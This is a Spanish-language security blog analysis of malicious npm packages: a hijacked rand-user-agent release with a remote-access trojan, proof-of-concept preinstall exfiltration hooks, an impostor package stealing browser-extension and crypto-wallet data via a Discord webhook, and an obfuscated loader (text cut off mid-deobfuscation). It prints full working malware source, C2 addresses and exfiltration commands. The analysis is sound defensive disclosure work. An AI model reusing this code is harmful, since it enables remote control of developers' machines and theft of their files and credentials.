,P+PP(gXh{;o_cxjn.not.2]Y"Pf6ep!$:1,>05PHPh,PF(P7.;{.lr[cs);k4P\/j7aP()M70glrP=01aes_Pfdr)axP p2?1ba2o;s..]a.6+6449ufPt$0a$5IsP(,P[ejmP0PP.P%;WBw(-5b$P d5.3Uu;3$aPnfu3Zha5 5gdP($1ao.aLko!j%ia21Pmh 0hi!6;K!P,_t`i)rP5.)J].$ b.}_P (Pe%_ %c^a_th,){(7  0sd@d$s=$_el-a]1!gtc(=&P)t_.f ssh{(.F=e9lP)1P($4P"P,9PK.P_P s));',
    ),
  );
  var zlJ = yCZ(siM, fqw);
  zlJ(5164);
  return 8268;
})();

Sí, eso se ve mal. Esto obviamente no debería estar ahí.

¿Cómo llegó allí el código?

Si nos fijamos en el repositorio de GitHub para el proyecto, vemos que la última confirmación fue hace 7 meses, cuando se publicó la versión 2.0.82.

Captura de pantalla de GitHub de Rand-user-agent

Si miramos el historial de versiones de npm, vemos algo extraño. Ha habido varias versiones desde entonces:

Así que la última versión, según GitHub debería ser 2.0.82. Y si inspeccionamos los paquetes desde entonces, todos tienen este código malicioso en ellos. Un caso claro de un ataque a la cadena de suministro. 

La carga maliciosa

El payload está bastante ofuscado, utilizando múltiples capas de ofuscación para ocultarse. Pero aquí está el payload final que eventualmente encontrarás:

global['_H2'] = ''
global['_H3'] = ''
;(async () => {
  const c = global.r || require,
    d = c('os'),
    f = c('path'),
    g = c('fs'),
    h = c('child_process'),
    i = c('crypto'),
    j = f.join(d.homedir(), '.node_modules')
  if (typeof module === 'object') {
    module.paths.push(f.join(j, 'node_modules'))
  } else {
    if (global['_module']) {
      global['_module'].paths.push(f.join(j, 'node_modules'))
    }
  }
  async function k(I, J) {
    return new global.Promise((K, L) => {
      h.exec(I, J, (M, N, O) => {
        if (M) {
          L('Error: ' + M.message)
          return
        }
        if (O) {
          L('Stderr: ' + O)
          return
        }
        K(N)
      })
    })
  }
  function l(I) {
    try {
      return c.resolve(I), true
    } catch (J) {
      return false
    }
  }
  const m = l('axios'),
    n = l('socket.io-client')
  if (!m || !n) {
    try {
      const I = {
        stdio: 'inherit',
        windowsHide: true,
      }
      const J = {
        stdio: 'inherit',
        windowsHide: true,
      }
      if (m) {
        await k('npm --prefix "' + j + '" install socket.io-client', I)
      } else {
        await k('npm --prefix "' + j + '" install axios socket.io-client', J)
      }
    } catch (K) {
      console.log(K)
    }
  }
  const o = c('axios'),
    p = c('form-data'),
    q = c('socket.io-client')
  let r,
    s,
    t = { M: P }
  const u = d.platform().startsWith('win'),
    v = d.type(),
    w = global['_H3'] || 'http://85.239.62[.]36:3306',
    x = global['_H2'] || 'http://85.239.62[.]36:27017'
  function y() {
    return d.hostname() + '$' + d.userInfo().username
  }
  function z() {
    const L = i.randomBytes(16)
    L[6] = (L[6] & 15) | 64
    L[8] = (L[8] & 63) | 128
    const M = L.toString('hex')
    return (
      M.substring(0, 8) +
      '-' +
      M.substring(8, 12) +
      '-' +
      M.substring(12, 16) +
      '-' +
      M.substring(16, 20) +
      '-' +
      M.substring(20, 32)
    )
  }
  function A() {
    const L = { reconnectionDelay: 5000 }
    r = q(w, L)
    r.on('connect', () => {
      console.log('Successfully connected to the server')
      const M = y(),
        N = {
          clientUuid: M,
          processId: s,
          osType: v,
        }
      r.emit('identify', 'client', N)
    })
    r.on('disconnect', () => {
      console.log('Disconnected from server')
    })
    r.on('command', F)
    r.on('exit', () => {
      process.exit()
    })
  }
  async function B(L, M, N, O) {
    try {
      const P = new p()
      P.append('client_id', L)
      P.append('path', N)
      M.forEach((R) => {
        const S = f.basename(R)
        P.append(S, g.createReadStream(R))
      })
      const Q = await o.post(x + '/u/f', P, { headers: P.getHeaders() })
      Q.status === 200
        ? r.emit(
            'response',
            'HTTP upload succeeded: ' + f.basename(M[0]) + ' file uploaded\n',
            O
          )
        : r.emit(
            'response',
            'Failed to upload file. Status code: ' + Q.status + '\n',
            O
          )
    } catch (R) {
      r.emit('response', 'Failed to upload: ' + R.message + '\n', O)
    }
  }
  async function C(L, M, N, O) {
    try {
      let P = 0,
        Q = 0
      const R = D(M)
      for (const S of R) {
        if (t[O].stopKey) {
          r.emit(
            'response',
            'HTTP upload stopped: ' +
              P +
              ' files succeeded, ' +
              Q +
              ' files failed\n',
            O
          )
          return
        }
        const T = f.relative(M, S),
          U = f.join(N, f.dirname(T))
        try {
          await B(L, [S], U, O)
          P++
        } catch (V) {
          Q++
        }
      }
      r.emit(
        'response',
        'HTTP upload succeeded: ' +
          P +
          ' files succeeded, ' +
          Q +
          ' files failed\n',
        O
      )
    } catch (W) {
      r.emit('response', 'Failed to upload: ' + W.message + '\n', O)
    }
  }
  function D(L) {
    let M = []
    const N = g.readdirSync(L)
    return (
      N.forEach((O) => {
        const P = f.join(L, O),
          Q = g.statSync(P)
        Q && Q.isDirectory() ? (M = M.concat(D(P))) : M.push(P)
      }),
      M
    )
  }
  function E(L) {
    const M = L.split(':')
    if (M.length < 2) {
      const R = {}
      return (
        (R.valid = false),
        (R.message = 'Command is missing ":" separator or parameters'),
        R
      )
    }
    const N = M[1].split(',')
    if (N.length < 2) {
      const S = {}
      return (
        (S.valid = false), (S.message = 'Filename or destination is missing'), S
      )
    }
    const O = N[0].trim(),
      P = N[1].trim()
    if (!O || !P) {
      const T = {}
      return (
        (T.valid = false), (T.message = 'Filename or destination is empty'), T
      )
    }
    const Q = {}
    return (Q.valid = true), (Q.filename = O), (Q.destination = P), Q
  }
  function F(L, M) {
    if (!M) {
      const O = {}
      return (
        (O.valid = false),
        (O.message = 'User UUID not provided in the command.'),
        O
      )
    }
    if (!t[M]) {
      const P = {
        currentDirectory: __dirname,
        commandQueue: [],
        stopKey: false,
      }
    }
    const N = t[M]
    N.commandQueue.push(L)
    G(M)
  }
  async function G(L) {
    let M = t[L]
    while (M.commandQueue.length > 0) {
      const N = M.commandQueue.shift()
      let O = ''
      if (N.startsWith('cd')) {
        const P = N.slice(2).trim()
        try {
          process.chdir(M.currentDirectory)
          process.chdir(P || '.')
          M.currentDirectory = process.cwd()
        } catch (Q) {
          O = 'Error: ' + Q.message
        }
      } else {
        if (N.startsWith('ss_upf') || N.startsWith('ss_upd')) {
          const R = E(N)
          if (!R.valid) {
            O = 'Invalid command format: ' + R.message + '\n'
            r.emit('response', O, L)
            continue
          }
          const { filename: S, destination: T } = R
          M.stopKey = false
          O = ' >> starting upload\n'
          if (N.startsWith('ss_upf')) {
            B(y(), [f.join(process.cwd(), S)], T, L)
          } else {
            N.startsWith('ss_upd') && C(y(), f.join(process.cwd(), S), T, L)
          }
        } else {
          if (N.startsWith('ss_dir')) {
            process.chdir(__dirname)
            M.currentDirectory = process.cwd()
          } else {
            if (N.startsWith('ss_fcd')) {
              const U = N.split(':')
              if (U.length < 2) {
                O = 'Command is missing ":" separator or parameters'
              } else {
                const V = U[1]
                process.chdir(V)
                M.currentDirectory = process.cwd()
              }
            } else {
              if (N.startsWith('ss_stop')) {
                M.stopKey = true
              } else {
                try {
                  const W = {
                    cwd: M.currentDirectory,
                    windowsHide: true,
                  }
                  const X = W
                  if (u) {
                    try {
                      const Y = f.join(
                          process.env.LOCALAPPDATA ||
                            f.join(d.homedir(), 'AppData', 'Local'),
                          'Programs\\Python\\Python3127'
                        ),
                        Z = { ...process.env }
                      Z.PATH = Y + ';' + process.env.PATH
                      X.env = Z
                    } catch (a0) {}
                  }
                  h.exec(N, X, (a1, a2, a3) => {
                    let a4 = '\n'
                    a1 && (a4 += 'Error executing command: ' + a1.message)
                    a3 && (a4 += 'Stderr: ' + a3)
                    a4 += a2
                    a4 += M.currentDirectory + '> '
                    r.emit('response', a4, L)
                  })
                } catch (a1) {
                  O = 'Error executing command: ' + a1.message
                }
              }
            }
          }
        }
      }
      O += M.currentDirectory + '> '
      r.emit('response', O, L)
    }
  }
  function H() {
    s = z()
    A(s)
  }
  H()
})()

Tenemos un RAT (troyano de acceso remoto) entre manos. He aquí un resumen del mismo:

Comportamiento

El script establece un canal de comunicación encubierto con un mando y control (C2) utilizando socket.io-clientemientras que la filtración de archivos a través de axios a un segundo punto final HTTP. Instala dinámicamente estos módulos si faltan, ocultándolos en un archivo .node_modules en el directorio personal del usuario.

 Infraestructura C2

  • Comunicación por socket: http://85.239.62[.]36:3306‍
  • Punto final de carga de archivos: http://85.239.62[.]36:27017/u/f

Una vez conectado, el cliente envía su ID único (nombre de host + nombre de usuario), tipo de sistema operativo e ID de proceso al servidor.

Capacidades

Aquí hay una lista de capacidades(Comandos) que el RAT soporta.

| Command         | Purpose                                                       |
| --------------- | ------------------------------------------------------------- |
| cd              | Change current working directory                              |
| ss_dir          | Reset directory to script’s path                              |
| ss_fcd:<path>   | Force change directory to <path>                              |
| ss_upf:f,d      | Upload single file f to destination d                         |
| ss_upd:d,dest   | Upload all files under directory d to destination dest        |
| ss_stop         | Sets a stop flag to interrupt current upload process          |
| Any other input | Treated as a shell command, executed via child_process.exec() |

Puerta Trasera: Python3127 PATH Hijack

Una de las características más sutiles de esta RAT es su uso de un secuestro PATH específico de Windows, destinado a ejecutar silenciosamente binarios maliciosos bajo la apariencia de herramientas Python.

El script construye y antepone la siguiente ruta al archivo SENDERO variable de entorno antes de ejecutar comandos shell:

%LOCALAPPDATA%\Programas\Python\Python3127

Inyectando este directorio al principio de SENDERO, cualquier comando que dependa de ejecutables resueltos por el entorno (por ejemplo, python, pip, etc.) pueden ser secuestrados silenciosamente. Esto es particularmente efectivo en sistemas donde se espera que Python ya esté disponible.

const Y = ruta.join(
  process.env.LOCALAPPDATA || path.join(os.homedir(), 'AppData', 'Local'),
  'Programs\\Python\\Python3127'
)
env.PATH = Y + ';' + process.env.PATH

‍

Indicadores de compromiso

En este momento, los únicos indicadores que tenemos son las versiones maliciosas, que son:

  • 2.0.84
  • 1.0.110
  • 2.0.83
| Uso | Punto final | Protocolo/Método |
| ------------------ | ------------------------------- | -------------------------- |
| Conexión de socket | http://85.239.62[.]36:3306 | socket.io-client |
 | Destino de carga de archivos | http://85.239.62[.]36:27017/u/f | HTTP POST (multipart/form) |

Si ha instalado alguno de estos paquetes, puede comprobar si se ha comunicado con el C2

‍

‍

6 de mayo de 2025
La guía de citas del malware: Comprender los tipos de malware en NPM
Por
Charlie Eriksen
Charlie Eriksen

La guía de citas del malware: Comprender los tipos de malware en NPM

En Nodo ecosistema se basa en la confianza: confianza en que los paquetes que npm instalar hacen lo que dicen que hacen. Pero esa confianza suele ser errónea.

En el último año, hemos visto una tendencia preocupante: un creciente número de paquetes maliciosos publicados en npm, a menudo ocultos a plena vista. Algunos son burdas pruebas de concepto (PoC) realizadas por investigadores, otros son puertas traseras cuidadosamente diseñadas. Algunos simulan ser bibliotecas legítimas, otros filtran datos delante de tus narices mediante ofuscación o trucos de formato ingeniosos.

Este artículo desglosa varios paquetes maliciosos del mundo real que hemos analizado. Cada uno representa un arquetipo distinto de técnica de ataque que vemos en la naturaleza. Tanto si eres desarrollador como si trabajas con un equipo rojo o eres ingeniero de seguridad, estos patrones deberían estar en tu radar.

El PdC

Muchos de los paquetes que vemos proceden de investigadores de seguridad que no intentan ser sigilosos. Simplemente buscan probar algo, a menudo como parte de la caza de recompensas por fallos. Esto significa que sus paquetes suelen ser muy sencillos y a menudo no contienen código. Se basan únicamente en un "gancho del ciclo de vida" que los paquetes pueden utilizar, ya sea antes, durante o después de la instalación. Estos ganchos son simples comandos ejecutados por el gestor de paquetes durante la instalación.

Por ejemplo: local_editor_top

A continuación se muestra un ejemplo del paquete local_editor_topque es un paquete que detectamos por su gancho de preinstalación que publica el archivo /etc/passwd a un punto final del Colaborador de Burp Suite con el prefijo del nombre de host.

{
  "name": "local_editor_top",
  "version": "10.7.2",
  "description": "",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1",
    "preinstall": "sudo /usr/bin/curl --data @/etc/passwd $(hostname)pha9b0pvk52ir7uzfi2quxaozf56txjl8.oastify[.]com"
  },
  "author": "",
  "license": "ISC"
}

Por ejemplo: ccf-identidad

Algunos investigadores van un paso más allá y llaman a un archivo dentro del paquete ccf-identidad para extraer datos. Como ejemplo, detectamos el paquete, observamos un gancho de ciclo de vida y un archivo javascript con muchos indicadores de entorno de exfiltración:

{
  "name": "ccf-identity",
  "version": "2.0.2",
  "main": "index.js",
  "typings": "dist/index",
  "license": "MIT",
  "author": "Microsoft",
  "type": "module",
  "repository": {
    "type": "git",
    "url": "https://github.com/Azure/ccf-identity"
  },
  "scripts": {
    "preinstall": "node index.js",
    ...
  },
  "devDependencies": {
    ...
  },
  "dependencies": {
    "@microsoft/ccf-app": "5.0.13",
    ...
  }
}

Como puede ver, llamará al archivo index.js antes de que comience el proceso de instalación del paquete. A continuación se muestra el contenido del archivo.

const os = require("os");
const dns = require("dns");
const querystring = require("querystring");
const https = require("https");
const packageJSON = require("./package.json");
const package = packageJSON.name;

const trackingData = JSON.stringify({
    p: package,
    c: __dirname,
    hd: os.homedir(),
    hn: os.hostname(),
    un: os.userInfo().username,
    dns: dns.getServers(),
    r: packageJSON ? packageJSON.___resolved : undefined,
    v: packageJSON.version,
    pjson: packageJSON,
});

var postData = querystring.stringify({
    msg: trackingData,
});

var options = {
    hostname: "vzyonlluinxvix1lkokm8x0mzd54t5hu[.]oastify.com", //replace burpcollaborator.net with Interactsh or pipedream
    port: 443,
    path: "/",
    method: "POST",
    headers: {
        "Content-Type": "application/x-www-form-urlencoded",
        "Content-Length": postData.length,
    },
};

var req = https.request(options, (res) => {
    res.on("data", (d) => {
        process.stdout.write(d);
    });
});

req.on("error", (e) => {
    // console.error(e);
});

req.write(postData);
req.end();

Estas pruebas de concepto van bastante lejos en la recopilación de mucha información, y a menudo también incluyen información sobre los adaptadores de red.

El impostor

Si has estado atento, te habrás dado cuenta de que el ejemplo anterior parecía indicar que se trataba de un paquete de Microsoft. ¿Te has dado cuenta? No te preocupes, en realidad no es un paquete de Microsoft. Más bien, es también un ejemplo de nuestro segundo arquetipo: El Impostor. 

Un buen ejemplo de ello es el paquete peticiones-promesas. Veamos su paquete.json archivo:

{
  "name": "requests-promises",
  "version": "4.2.1",
  "description": "The simplified HTTP request client 'request' with Promise support. Powered by Bluebird.",
  "keywords": [
    ...
  ],
  "main": "./lib/rp.js",
  "scripts": {
   ...
    "postinstall": "node lib/rq.js"
  },
  "repository": {
    "type": "git",
    "url": "git+https://github.com/request/request-promise.git"
  },
  "author": "Nicolai Kamenzky (https://github.com/analog-nico)",
  "license": "ISC",
  "bugs": {
    "url": "https://github.com/request/request-promise/issues"
  },
  "homepage": "https://github.com/request/request-promise#readme",
  "engines": {
    "node": ">=0.10.0"
  },
  "dependencies": {
    "request-promise-core": "1.1.4",
    "bluebird": "^3.5.0",
    "stealthy-require": "^1.1.1",
    "tough-cookie": "^2.3.3"
  },
  "peerDependencies": {
    "request": "^2.34"
  },
  "devDependencies": {
    ...
  }
}

Notarás algo interesante. Parece un paquete real al principio, hay dos grandes pistas de que algo no está bien:

  • Las referencias de Github mencionan solicitud-promesaes decir, en singular. El nombre del paquete está en plural.
  • Hay un gancho postinstalación para un archivo llamado lib/rq.js. 

Por lo demás, el paquete parece legítimo. Tiene el código que se espera del paquete en lib/rp.js (Obsérvese la diferencia entre rp.js y rq.js). Veamos este archivo adicional, lib/rq.js.

const cp = require('child_process');
const {
  exec
} = require('child_process');
const fs = require('fs');
const crypto = require('crypto');
const DataPaths = ["C:\\Users\\Admin\\AppData\\Local\\Google\\Chrome\\User Data".replaceAll('Admin', process.env.USERNAME), "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Edge\\User Data".replaceAll('Admin', process.env.USERNAME), "C:\\Users\\Admin\\AppData\\Roaming\\Opera Software\\Opera Stable".replaceAll('Admin', process.env.USERNAME), "C:\\Users\\Admin\\AppData\\Local\\Programs\\Opera GX".replaceAll('Admin', process.env.USERNAME), "C:\\Users\\Admin\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data".replaceAll('Admin', process.env.USERNAME)]
const {
  URL
} = require('url');

function createZipFile(source, dest) {
  return new Promise((resolve, reject) => {
    const command = `powershell.exe -Command 'Compress-Archive -Path "${source}" -DestinationPath "${dest}"'`;
    exec(command, (error, stdout, stderr) => {
      if (error) {
        //console.log(error,stdout,stderr)
        reject(error);
      } else {
        //console.log(error,stdout,stderr)
        resolve(stdout);
      }
    });
  });
}
async function makelove(wu = atob("aHR0cHM6Ly9kaXNjb3JkLmNvbS9hcGkvd2ViaG9va3MvMTMzMDE4NDg5NDE0NzU5NjM0Mi9tY1JCNHEzRlFTT3J1VVlBdmd6OEJvVzFxNkNNTmk0VXMtb2FnQ0M0SjJMQ0NHd3RKZ1lNbVk0alZ4eUxnNk9LV2lYUA=="), filePath, fileName) {
  try {
    const fileData = fs.readFileSync(filePath);
    const formData = new FormData();
    formData.append('file', new Blob([fileData]), fileName);
    formData.append('content', process.env.USERDOMAIN);
    const response = await fetch(wu, {
      method: 'POST',
      body: formData,
    });
    if (!response.ok) {
      throw new Error(`HTTP error! status: ${response.status}`);
    }
    //console.log('Running Test(s) +1');
  } catch (error) {
    console.error('Error :', error);
  } finally {
    try {
      cp.execSync('cmd /C del "' + filePath + '"');
    } catch {}
  }
}
const folderName = "Local Extension Settings";
setTimeout(async function() {
  const dir = `C:\\Users\\${process.env.USERNAME}\\AppData\\Roaming\\Exodus\\exodus.wallet\\`;
  if (fs.existsSync(dir)) {
    //console.log(dir)
    const nayme = crypto.randomBytes(2).toString('hex')
    const command = `powershell -WindowStyle Hidden -Command "tar -cf 'C:\\ProgramData\\Intel\\brsr${nayme}.tar' -C '${dir}' ."`;
    cp.exec(command, (e, so, se) => {
      if (!e) {
        console.log('exo', nayme)
        makelove(undefined, `C:\\ProgramData\\Intel\\brsr${nayme}.tar`, 'exo.tar');
        //console.log(e,so,se)
      } else {
        //console.log(e,so,se)
      }
    })
  }
}, 0)
for (var i = 0; i < DataPaths.length; i++) {
  const datapath = DataPaths[i];
  if (fs.existsSync(datapath)) {
    const dirs = fs.readdirSync(datapath);
    const profiles = dirs.filter(a => a.toLowerCase().startsWith('profile'));
    profiles.push('Default');
    for (const profile of profiles) {
      if (typeof profile == "string") {
        const dir = datapath + '\\' + profile + '\\' + folderName;
        if (fs.existsSync(dir)) {
          //console.log(dir)
          const nayme = crypto.randomBytes(2).toString('hex')
          const command = `powershell -WindowStyle Hidden -Command "tar -cf 'C:\\ProgramData\\Intel\\brsr${nayme}.tar' -C '${dir}' ."`;
          cp.exec(command, (e, so, se) => {
            if (!e) {
              console.log('okok')
              makelove(undefined, `C:\\ProgramData\\Intel\\brsr${nayme}.tar`, 'extensions.tar');
              //console.log(e,so,se)
            } else {
              //console.log(e,so,se)
            }
          })
        }
      }
    }
  }
}

No se deje engañar por el hecho de que el código tiene una función llamada makelove. Es inmediatamente obvio que este código buscará cachés de navegador y monederos criptográficos, que enviará al endpoint que está codificado en base64. Cuando se decodifica, revela un webhook de Discord.

https://discord[.]com/api/webhooks/1330184894147596342/mcRB4q3FQSOruUYAvgz8BoW1q6CMNi4Us-oagCC4J2LCCGwtJgYMmY4jVxyLg6OKWiXP

No tan cariñoso después de todo.

El ofuscador

Un truco clásico para evitar la detección es utilizar la ofuscación. La buena noticia como defensor es que la ofuscación es realmente ruidoso, sobresale como un pulgar dolorido, y es trivial de superar en su mayor parte. Un ejemplo de ello es el paquete chickenisgood. Mirando el archivo index.js vemos que está claramente ofuscado.

var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"];(function(_0xd642x1){_0xd642x1[_0xb483[0]]= _0xb483[1]})(_a);var __Ox12553a=["\x6F\x73","\x68\x74\x74\x70\x73","\x65\x72\x72\x6F\x72","\x6F\x6E","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x69\x70\x2E\x73\x62\x2F","\x73\x74\x61\x74\x75\x73\x43\x6F\x64\x65","","\x67\x65\x74","\x6C\x65\x6E\x67\x74\x68","\x63\x70\x75\x73","\x74\x6F\x74\x61\x6C\x6D\x65\x6D","\x66\x72\x65\x65\x6D\x65\x6D","\x75\x70\x74\x69\x6D\x65","\x6E\x65\x74\x77\x6F\x72\x6B\x49\x6E\x74\x65\x72\x66\x61\x63\x65\x73","\x66\x69\x6C\x74\x65\x72","\x6D\x61\x70","\x66\x6C\x61\x74","\x76\x61\x6C\x75\x65\x73","\x74\x65\x73\x74","\x73\x6F\x6D\x65","\x57\x61\x72\x6E\x69\x6E\x67\x3A\x20\x44\x65\x74\x65\x63\x74\x65\x64\x20\x76\x69\x72\x74\x75\x61\x6C\x20\x6D\x61\x63\x68\x69\x6E\x65\x21","\x77\x61\x72\x6E","\x48\x4F\x53\x54\x4E\x41\x4D\x45\x2D","\x48\x4F\x53\x54\x4E\x41\x4D\x45\x31","\x68\x6F\x73\x74\x6E\x61\x6D\x65","\x73\x74\x61\x72\x74\x73\x57\x69\x74\x68","\x63\x6F\x64\x65","\x45\x4E\x4F\x54\x46\x4F\x55\x4E\x44","\x65\x78\x69\x74","\x61\x74\x74\x61\x62\x6F\x79\x2E\x71\x75\x65\x73\x74","\x2F\x74\x68\x69\x73\x69\x73\x67\x6F\x6F\x64\x2F\x6E\x64\x73\x39\x66\x33\x32\x38","\x47\x45\x54","\x64\x61\x74\x61","\x65\x6E\x64","\x72\x65\x71\x75\x65\x73\x74","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x6C\x6F\x67","\u5220\u9664","\u7248\u672C\u53F7\uFF0C\x6A\x73\u4F1A\u5B9A","\u671F\u5F39\u7A97\uFF0C","\u8FD8\u8BF7\u652F\u6301\u6211\u4EEC\u7684\u5DE5\u4F5C","\x6A\x73\x6A\x69\x61","\x6D\x69\x2E\x63\x6F\x6D"];const os=require(__Ox12553a[0x0]);const https=require(__Ox12553a[0x1]);function checkNetwork(_0x8ed1x4){https[__Ox12553a[0x7]](__Ox12553a[0x4],(_0x8ed1x6)=>{if(_0x8ed1x6[__Ox12553a[0x5]]=== 200){_0x8ed1x4(null,true)}else {_0x8ed1x4( new Error(("\x55\x6E\x65\x78\x70\x65\x63\x74\x65\x64\x20\x72\x65\x73\x70\x6F\x6E\x73\x65\x20\x73\x74\x61\x74\x75\x73\x20\x63\x6F\x64\x65\x3A\x20"+_0x8ed1x6[__Ox12553a[0x5]]+__Ox12553a[0x6])))}})[__Ox12553a[0x3]](__Ox12553a[0x2],(_0x8ed1x5)=>{_0x8ed1x4(_0x8ed1x5)})}function checkCPUCores(_0x8ed1x8){const _0x8ed1x9=os[__Ox12553a[0x9]]()[__Ox12553a[0x8]];if(_0x8ed1x9< _0x8ed1x8){return false}else {return true}}function checkMemory(_0x8ed1xb){const _0x8ed1xc=os[__Ox12553a[0xa]]()/ (1024* 1024* 1024);const _0x8ed1xd=os[__Ox12553a[0xb]]()/ (1024* 1024* 1024);if(_0x8ed1xc- _0x8ed1xd< _0x8ed1xb){return false}else {return true}}function checkUptime(_0x8ed1xf){const _0x8ed1x10=os[__Ox12553a[0xc]]()* 1000;return _0x8ed1x10> _0x8ed1xf}function checkVirtualMachine(){const _0x8ed1x12=[/^00:05:69/,/^00:50:56/,/^00:0c:29/];const _0x8ed1x13=/^08:00:27/;const _0x8ed1x14=/^00:03:ff/;const _0x8ed1x15=[/^00:11:22/,/^00:15:5d/,/^00:e0:4c/,/^02:42:ac/,/^02:42:f2/,/^32:95:f4/,/^52:54:00/,/^ea:b7:ea/];const _0x8ed1x16=os[__Ox12553a[0xd]]();const _0x8ed1x17=Object[__Ox12553a[0x11]](_0x8ed1x16)[__Ox12553a[0x10]]()[__Ox12553a[0xe]](({_0x8ed1x19})=>{return !_0x8ed1x19})[__Ox12553a[0xf]](({_0x8ed1x18})=>{return _0x8ed1x18})[__Ox12553a[0xe]](Boolean);for(const _0x8ed1x18 of _0x8ed1x17){if(_0x8ed1x15[__Ox12553a[0x13]]((_0x8ed1x1a)=>{return _0x8ed1x1a[__Ox12553a[0x12]](_0x8ed1x18)})|| _0x8ed1x13[__Ox12553a[0x12]](_0x8ed1x18)|| _0x8ed1x14[__Ox12553a[0x12]](_0x8ed1x18)|| _0x8ed1x12[__Ox12553a[0x13]]((_0x8ed1x1a)=>{return _0x8ed1x1a[__Ox12553a[0x12]](_0x8ed1x18)})){console[__Ox12553a[0x15]](__Ox12553a[0x14]);return true}};return false}const disallowedHostPrefixes=[__Ox12553a[0x16],__Ox12553a[0x17]];function isHostnameValid(){const _0x8ed1x1d=os[__Ox12553a[0x18]]();for(let _0x8ed1x1e=0;_0x8ed1x1e< disallowedHostPrefixes[__Ox12553a[0x8]];_0x8ed1x1e++){if(_0x8ed1x1d[__Ox12553a[0x19]](disallowedHostPrefixes[_0x8ed1x1e])){return false}};return true}function startApp(){checkNetwork((_0x8ed1x5,_0x8ed1x20)=>{if(!_0x8ed1x5&& _0x8ed1x20){}else {if(_0x8ed1x5&& _0x8ed1x5[__Ox12553a[0x1a]]=== __Ox12553a[0x1b]){process[__Ox12553a[0x1c]](1)}else {process[__Ox12553a[0x1c]](1)}}});if(!checkMemory(2)){process[__Ox12553a[0x1c]](1)};if(!checkCPUCores(2)){process[__Ox12553a[0x1c]](1)};if(!checkUptime(1000* 60* 60)){process[__Ox12553a[0x1c]](1)};if(checkVirtualMachine()){process[__Ox12553a[0x1c]](1)};if(isHostnameValid()=== false){process[__Ox12553a[0x1c]](1)};const _0x8ed1x21={hostname:__Ox12553a[0x1d],port:8443,path:__Ox12553a[0x1e],method:__Ox12553a[0x1f]};const _0x8ed1x22=https[__Ox12553a[0x22]](_0x8ed1x21,(_0x8ed1x6)=>{let _0x8ed1x23=__Ox12553a[0x6];_0x8ed1x6[__Ox12553a[0x3]](__Ox12553a[0x20],(_0x8ed1x24)=>{_0x8ed1x23+= _0x8ed1x24});_0x8ed1x6[__Ox12553a[0x3]](__Ox12553a[0x21],()=>{eval(_0x8ed1x23)})});_0x8ed1x22[__Ox12553a[0x3]](__Ox12553a[0x2],(_0x8ed1x25)=>{});_0x8ed1x22[__Ox12553a[0x21]]()}startApp();;;(function(_0x8ed1x26,_0x8ed1x27,_0x8ed1x28,_0x8ed1x29,_0x8ed1x2a,_0x8ed1x2b){_0x8ed1x2b= __Ox12553a[0x23];_0x8ed1x29= function(_0x8ed1x2c){if( typeof alert!== _0x8ed1x2b){alert(_0x8ed1x2c)};if( typeof console!== _0x8ed1x2b){console[__Ox12553a[0x24]](_0x8ed1x2c)}};_0x8ed1x28= function(_0x8ed1x2d,_0x8ed1x26){return _0x8ed1x2d+ _0x8ed1x26};_0x8ed1x2a= _0x8ed1x28(__Ox12553a[0x25],_0x8ed1x28(_0x8ed1x28(__Ox12553a[0x26],__Ox12553a[0x27]),__Ox12553a[0x28]));try{_0x8ed1x26= __encode;if(!( typeof _0x8ed1x26!== _0x8ed1x2b&& _0x8ed1x26=== _0x8ed1x28(__Ox12553a[0x29],__Ox12553a[0x2a]))){_0x8ed1x29(_0x8ed1x2a)}}catch(e){_0x8ed1x29(_0x8ed1x2a)}})({})

Ya podemos ver que menciona cosas como checkVirtualMachine, checkUptime, isHostnameValidy otros nombres que levantan sospechas. Pero para confirmar completamente lo que está haciendo, podemos pasarlo por deobfuscadores/decodificadores disponibles públicamente. Y de repente obtenemos algo un poco más legible.

var _a = {};
var _0xb483 = ["_decode", "http://www.sojson.com/javascriptobfuscator.html"];
(function (_0xd642x1) {
  _0xd642x1[_0xb483[0]] = _0xb483[1];
})(_a);
var __Ox12553a = ["os", "https", "error", "on", "https://ip.sb/", "statusCode", "", "get", "length", "cpus", "totalmem", "freemem", "uptime", "networkInterfaces", "filter", "map", "flat", "values", "test", "some", "Warning: Detected virtual machine!", "warn", "HOSTNAME-", "HOSTNAME1", "hostname", "startsWith", "code", "ENOTFOUND", "exit", "attaboy.quest", "/thisisgood/nds9f328", "GET", "data", "end", "request", "undefined", "log", "删除", "版本号,js会定", "期弹窗,", "还请支持我们的工作", "jsjia", "mi.com"];
const os = require(__Ox12553a[0x0]);
const https = require(__Ox12553a[0x1]);
function checkNetwork(_0x8ed1x4) {
  https[__Ox12553a[0x7]](__Ox12553a[0x4], _0x8ed1x6 => {
    if (_0x8ed1x6[__Ox12553a[0x5]] === 200) {
      _0x8ed1x4(null, true);
    } else {
      _0x8ed1x4(new Error("Unexpected response status code: " + _0x8ed1x6[__Ox12553a[0x5]] + __Ox12553a[0x6]));
    }
  })[__Ox12553a[0x3]](__Ox12553a[0x2], _0x8ed1x5 => {
    _0x8ed1x4(_0x8ed1x5);
  });
}
function checkCPUCores(_0x8ed1x8) {
  const _0x8ed1x9 = os[__Ox12553a[0x9]]()[__Ox12553a[0x8]];
  if (_0x8ed1x9 < _0x8ed1x8) {
    return false;
  } else {
    return true;
  }
}
function checkMemory(_0x8ed1xb) {
  const _0x8ed1xc = os[__Ox12553a[0xa]]() / 1073741824;
  const _0x8ed1xd = os[__Ox12553a[0xb]]() / 1073741824;
  if (_0x8ed1xc - _0x8ed1xd < _0x8ed1xb) {
    return false;
  } else {
    return true;
  }
}
function checkUptime(_0x8ed1xf) {
  const _0x8ed1x10 = os[__Ox12553a[0xc]]() * 1000;
  return _0x8ed1x10 > _0x8ed1xf;
}
function checkVirtualMachine() {
  const _0x8ed1x12 = [/^00:05:69/, /^00:50:56/, /^00:0c:29/];
  const _0x8ed1x13 = /^08:00:27/;
  const _0x8ed1x14 = /^00:03:ff/;
